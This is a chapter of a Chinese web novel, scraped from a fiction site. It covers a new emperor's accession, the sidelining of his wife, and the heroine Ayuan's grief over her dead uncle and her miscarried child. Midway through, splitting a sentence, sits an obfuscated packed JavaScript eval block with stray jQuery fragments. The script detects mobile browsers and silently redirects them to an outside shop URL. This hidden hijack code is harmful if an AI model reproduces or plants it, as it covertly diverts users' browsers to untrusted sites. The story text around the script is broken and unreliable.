文趣网 > 都市小说 > 表妹万岁 > 42. 新帝
    先帝在蓬莱宫驾崩,帝王灵柩送往翠微山,葬在陵宫中。新帝在紫金宫登基,四方诸侯纷纷入京,朝拜新天子。

    静王受新帝派遣,主持先帝丧仪。陵宫异香扑鼻,可保长年尸身不腐。玄甲军是对陛下忠诚的卫队,持戟跪拜在金棺之侧,从此将永驻行宫,戍卫陛下的陵宫。

    金棺之内,无数珍品陪葬,先帝身着玄色冕服,手中握着一朵沾血的重瓣牡丹花。

    牡丹花鲜艳如新,未有半点腐败。

    新帝登基,身穿十二章纹冕服,头戴十二旈白玉冕冠,祭拜天地宗庙,受皇帝册宝,追尊先帝为太宗皇帝,改元光武。随后在奉天殿接受朝拜,年轻的帝王雍贵凌厉,端坐于金色御座,九重金阶之下,汉白玉须弥台基之外,文武百官三跪九叩。

    万岁声地动山摇,所有人匍匐于地,微渺如蝼蚁,不禁令人气血澎湃。

    东方天际渐明,旧的红日已经落下,新日初升,他是新的天子。

    这样人声鼎沸之际,光武帝突然想起阿元。原本登基大典,他想要表妹陪同,只是先帝死后,表妹病得很厉害。

    光武帝颁布第一道诏书。冕冠下的白玉珠帘轻轻晃动,天子面有悲色,低声说道:“朕要在奉天殿外,修筑一座观天楼。”

    站在观天楼上,俯视皇城的一切,可以遥见千浓万翠的珍奇花草之间,有一座高塔,是皇帝为未出世的小公主祈福的金塔。

    他在梦中,梦见是一个女儿,十分可爱。

    金塔供奉的宝龛却空无一物,小公主到世上来,除了一团血水,什么也没有留下。

    紫金宫迎来新的天子,也将迎来新的后妃,皇子、公主。

    夏善上前问询:“沈妃、季妃派人请示陛下,宫妃住所应当如何安排?”

    天子登基,大封后宫。

    追封皇长子生母为肃妃,晋封皇次子生母沈氏为德妃,皇三子、三公主生母季氏为惠妃,大公主生母许氏晋为昭仪,二公主生母蔡氏晋为修媛,皇四子生母吴氏晋为婕妤,皇五子生母柳氏晋为美人。

    光武帝神情淡漠,“除千秋殿外,随意她们安置。”

    千秋殿是历代皇后居所,更是从前太祖皇后的宫室。只是太宗在位时,为示恭敬,让郑后另居上阳殿。

    皇后是国母,应另行册封大礼。可高王妃至今仍住在王府,蓬莱宫中还有一位郡主。

    夏善极力稳住心绪,躬身退下。

    出了殿门,小内侍们上前捶肩服侍,“干爹,陛下是什么意思,到底哪位贵人做皇后?”

    夏善狭长的双眼微眯,笑了一下,“不管谁做皇后,千秋殿却只有一个,且看将来谁入住千秋殿。”

    陈王府中,高氏身穿深色布衣,跪在佛祖座前,她闭着眼睛,捂住耳朵,外面的声音还是钻进来。女人们欢欢喜喜收拾行囊,小孩子活泼的说话声,叽叽喳喳。

    渐渐的,外面越来越安静,越来越安静。高氏睁开眼,两行眼泪落下,“她们都走了吗?”

    侍女不忍,跪在她身边,“王妃。”

    “不要叫我王妃!李循是想做什么?他做了皇帝,便能为所欲为吗?我是他的妻子,是我姨母郑皇后将我嫁给他,做他的妻子,他怎么能这样对我!他将我放在佛龛上,让所有人朝拜我,却让那些女人一个一个生下他的孩子。如今更让我一个人留在这里,我到底做错了什么?”

    佛祖前供奉的金烛鲜果掉落一地,她跪伏在地上,直到再也哭不出眼泪。红烛泪干,灯火忽明忽灭,她盯着金色的佛像,轻笑出声,“他是想让我永远做一尊泥菩萨。”

    不日之后,皇帝颁布圣谕,王妃高氏多病无子,自请在静安寺修行祈福,赐号慈训仙师。先大长公主之女姜氏,陛下逾越礼制,封其为皇贵妃。

    一个图有其名,未受册封的王妃,和一个深受圣眷,却病弱无子的皇贵妃。

    这就是帝王的权衡之术。

    先帝丧仪结束,静王将奉命返回幽朔。临行前,静王跪在太宗皇帝的灵位前,“父皇,这就是你为表妹安排的命运吗?”

    出门上马,一路畅行无阻,入到紫金宫,参见新天子。

    光武帝正在殿内与近臣议事,夏善上前道:“静王殿下求见。”

    “准。”

    曹圭、宋柏舟、褚忡等人在旁静候,只见殿门处走进一位年轻男子,天潢贵胄,贵不可言。

    静王是先帝爱子,在诸皇子中最受先帝宠爱。长于太祖皇帝、太祖皇后膝下,外祖是燕王,出身最为显赫。驻守幽、朔二州,掌握三十万精军。是诸王中势力最大,最受帝王忌惮者。

    他这一年才二十岁,锐不可当。缓缓而来,在新帝面前跪下。

    “五哥。”他如从前般称呼新帝,抬头直视帝王,“父皇驾崩,表妹一定很伤心,我想去看看表妹。”

    褚忡、宋柏舟等人对视一眼,心中一惊。谁也没想到,静王竟是这样一个人,像一潭幽静的水。

    光武帝的脸色瞬间变得极难看,阴沉冷凝,几乎让人喘不上气。

    好一会儿,他道:“准。”

    静王随光武帝来到蓬莱宫,蓬莱宫禁卫比从前更加森严,一支三百人的玄甲军守卫灿珠宫。过去没有人比他更熟悉蓬莱宫,他从小与表妹在这里长大,熟悉这里的一切。

    不想长大之后,他却把表妹一个人留在这里。

    灿珠宫一如往日繁华瑰丽,静王隔着珠帘与表妹相见,似相隔千山万水。

    枯坐半刻钟,便有人催促,“静王殿下,该走了。”

    静王起身,最后看了一眼表妹。他抚摸那扇珠帘,轻声道:“表妹,你快些好起来。”当他骑马走到龙首山下,回望这座天宫。

    幽朔之地距离蓬莱宫有两千里,似乎是天与地的距离。

    阿元已经病了许久,总在昏睡中,她听见表哥在喊她,使她从长长的噩梦中惊醒。

    四周静悄悄的,碧鲛绡帐微微晃动,泛着晶莹的光,像是泪珠。阿元静静望了一会儿,满腮是泪,她问:“是表哥来了吗?”

    青女是灿珠宫新来的女官,由新帝从宫正司拔擢。她小心上前,仔细侍奉阿元,“陛下正在处理朝事,奴婢立刻去禀告。”

    光武帝匆匆赶来,抱阿元入怀。他高大的身躯,像是一个黑色阴影将阿元笼罩其中,他轻轻抚摸阿元颤抖的后背。

    林培风为阿元诊脉,说是惊悸之症,需要悉心调理。阿元饮下一碗汤药,苦涩至极。她静静依偎在皇帝怀中,听见檐下的铜铃声,她问:“是春日到了吗?”

    光武帝轻吻阿元的额头,笑着说:“上巳节过去,快到浴佛节了。”

    原来已经过去那么长时间了。

    皇帝专注地盯着阿元,心知愧对表妹,盼望表妹朝他恼怒,却永远不能从她的脸上看出任何情绪。有时他很怕她,而同时他心中充满无尽对表妹的怜爱。

    他握住阿元的手,温柔承诺:“表妹,你是我最亲的人,也会是我唯一的皇后。”

    春天来临,阿元的病虽凶险,也逐渐好起来了。所有人都以为,皇贵妃已经好了,毕竟陛下宠爱皇贵妃,无人能及,她又有什么烦心事。就算再伤心,总有过去的一天。

    阿元是早春的生辰,冰雪消融的好时节。今岁诞辰,内外朝命妇在蓬莱宫外跪拜,皇帝为皇贵妃祈福,大赦天下。

    先帝病逝三月之后,阿元夜半醒来。梨姑守在阿元床边,两侧的海棠宫灯犹在,窗外飘来若有似无的荷香。

    阿元轻轻叹气,“舅舅原来是真的死了。”

    梨姑担忧不已,“小郡主.......”

    华美的床榻之间,黄金般轻薄奢丽的软帐之内,阿元静静地说:“我从来没有与舅舅分别过这么长的时间。从前舅舅御驾亲征,离京三月。夏日离京,秋日就回来了。可这一次他再也不会回来了,不只是三个月,以后他都不会回来了。”

    她好像才突然明白似的,双手捂住脸,大哭不止,似乎要将毕生的眼泪都哭尽。可她在病中,又有多少力气,哭声细弱微小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659606|205206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,哀恸须臾,便咳出血来。鲜红的血迹,喷洒在雪白的锦被之上,像是华美的牡丹花。

    朝阳公主最喜欢牡丹花,牡丹的雍容华贵最与她相配。

    梨姑立即要去寻唤太医,林培风在外殿当值。阿元生病时,他日夜守候左右。

    阿元轻声喊住她,双眸含着泪水,“梨姑,我的病是永远治不好的。”她也这样说。

    过去数年,她喝过的药,应有上万盏。那些药艰难延续着她孱弱的生命,但她讨厌药的苦味。

    阿元哀求,“我心里很难过,梨姑你不要走,留在我身边,陪我说说话。”

    梨姑流着泪劝道:“郡主一定要爱惜身体。”

    阿元很乖,她坐在床上,盯着海棠宫灯看,“阿娘辛苦生我一场,流下许多的血泪,我当然要爱惜自己。”璀璨明亮的宫灯之下,她的面容像雪玉一样,忽而一笑。

    “我知道,表哥来过,那天我听见他的声音了。他喊我,让我从噩梦中醒来,从此我就不做噩梦了。”

    “表哥是来与我告别,可惜我没见到他。”

    她停下说话声,轻轻叹气。博山炉上升腾的香雾,断断续续,只余下一缕细细飘散。

    梨姑哽咽,她从幼时跟随朝阳公主,性情与朝阳相似。她想到什么,言语激动:“我们让陛下的玄甲军护卫,快马加鞭,一定能赶上静王的车驾。”

    “来得及吗?”

    “来得及。用最快的马匹,一定能赶得上。”

    阿元又在咳嗽。许久之后,气若游丝,倒在床上。乌润丰美的长发,像是一张茧,她静静地闭眼,待呼吸平静。

    “永远也来不及了。”在人间千万种药中,后悔是最无用的苦药。

    阿元由舅舅教导,舅舅从来没教过阿元后悔。

    她蜷缩的身躯,像是一片落在水面上的花瓣,似乎要睡着了,双手下意识轻轻放在小腹上。

    寂静的夜晚,宫灯明亮如昼,点缀着的无数宝石,像是繁星映照下的华美幻梦。

    阿元忽而听见远方传来一支南方小调,是母亲哄孩子入睡的童谣。过去阿娘或许也这样哄阿元入睡,可惜她却没有机会唱给她的孩子听。

    梨姑正将殿中的灯一盏盏熄灭,只余下床帐外的两盏。将要退下时,郡主出声询问:“我可怜的孩子,葬在哪里了?”

    世上的事都瞒不住小郡主。

    梨姑已退至殿门处,隔着一盏金羽雀屏,与郡主有数十步的距离。

    她极力掩饰哽咽,目光怜悯,恭敬回答:“收敛太宗遗体时,由袁内监做主,一并葬在太宗皇帝的金棺之内。”新帝后来知道,为此大发雷霆,杖责不少侍奉太宗的宫人。

    相隔太远,梨姑难以分辨郡主的情绪。片刻之后,她听见郡主的声音。

    “我没有什么好伤心的,若孩子生下来,叫她没有母亲,一个人孤零零长大,那才可怜。”阿娘把最好的一切都留给阿元,阿元有外祖母、外祖父,还有舅舅。阿元却没有什么能留给她的孩子。

    她的脸上一滴眼泪也没有,“我的孩子,不是去别处了,是去到我舅舅身边,舅舅会保护她。”

    梨姑退出殿外,偌大的华丽宫殿,两盏幽幽的宫灯,只剩下阿元一个人。

    阿元枕在臂弯上,乌发如云,平静入睡。

    这夜她难得做了一个美梦,梦到舅舅。从舅舅死后,她一次也没有在梦中见到舅舅。

    舅舅牵着一个小女童,健康红润的脸庞,双丫髻,鹅黄色发带,珍珠白玉簪,颈戴长命锁,身穿金丝缕衣,依偎在舅舅的腿边,泪汪汪地看着阿元。他们的身后,像是小瀛洲的水面,却是一望无际,水面倒映着明月繁星,飘着一叶小舟。

    舅舅的模样年轻了许多,玄衣宽袍,身负长剑,龙相尽显,又杀气腾腾。

    小女童道:“娘亲,你不要哭了。”

    阿元从梦中醒来,泪湿枕畔。

    日光洒进大殿内,又是新的一日,阿元轻叹气,忽而觉得,余生竟这样漫长。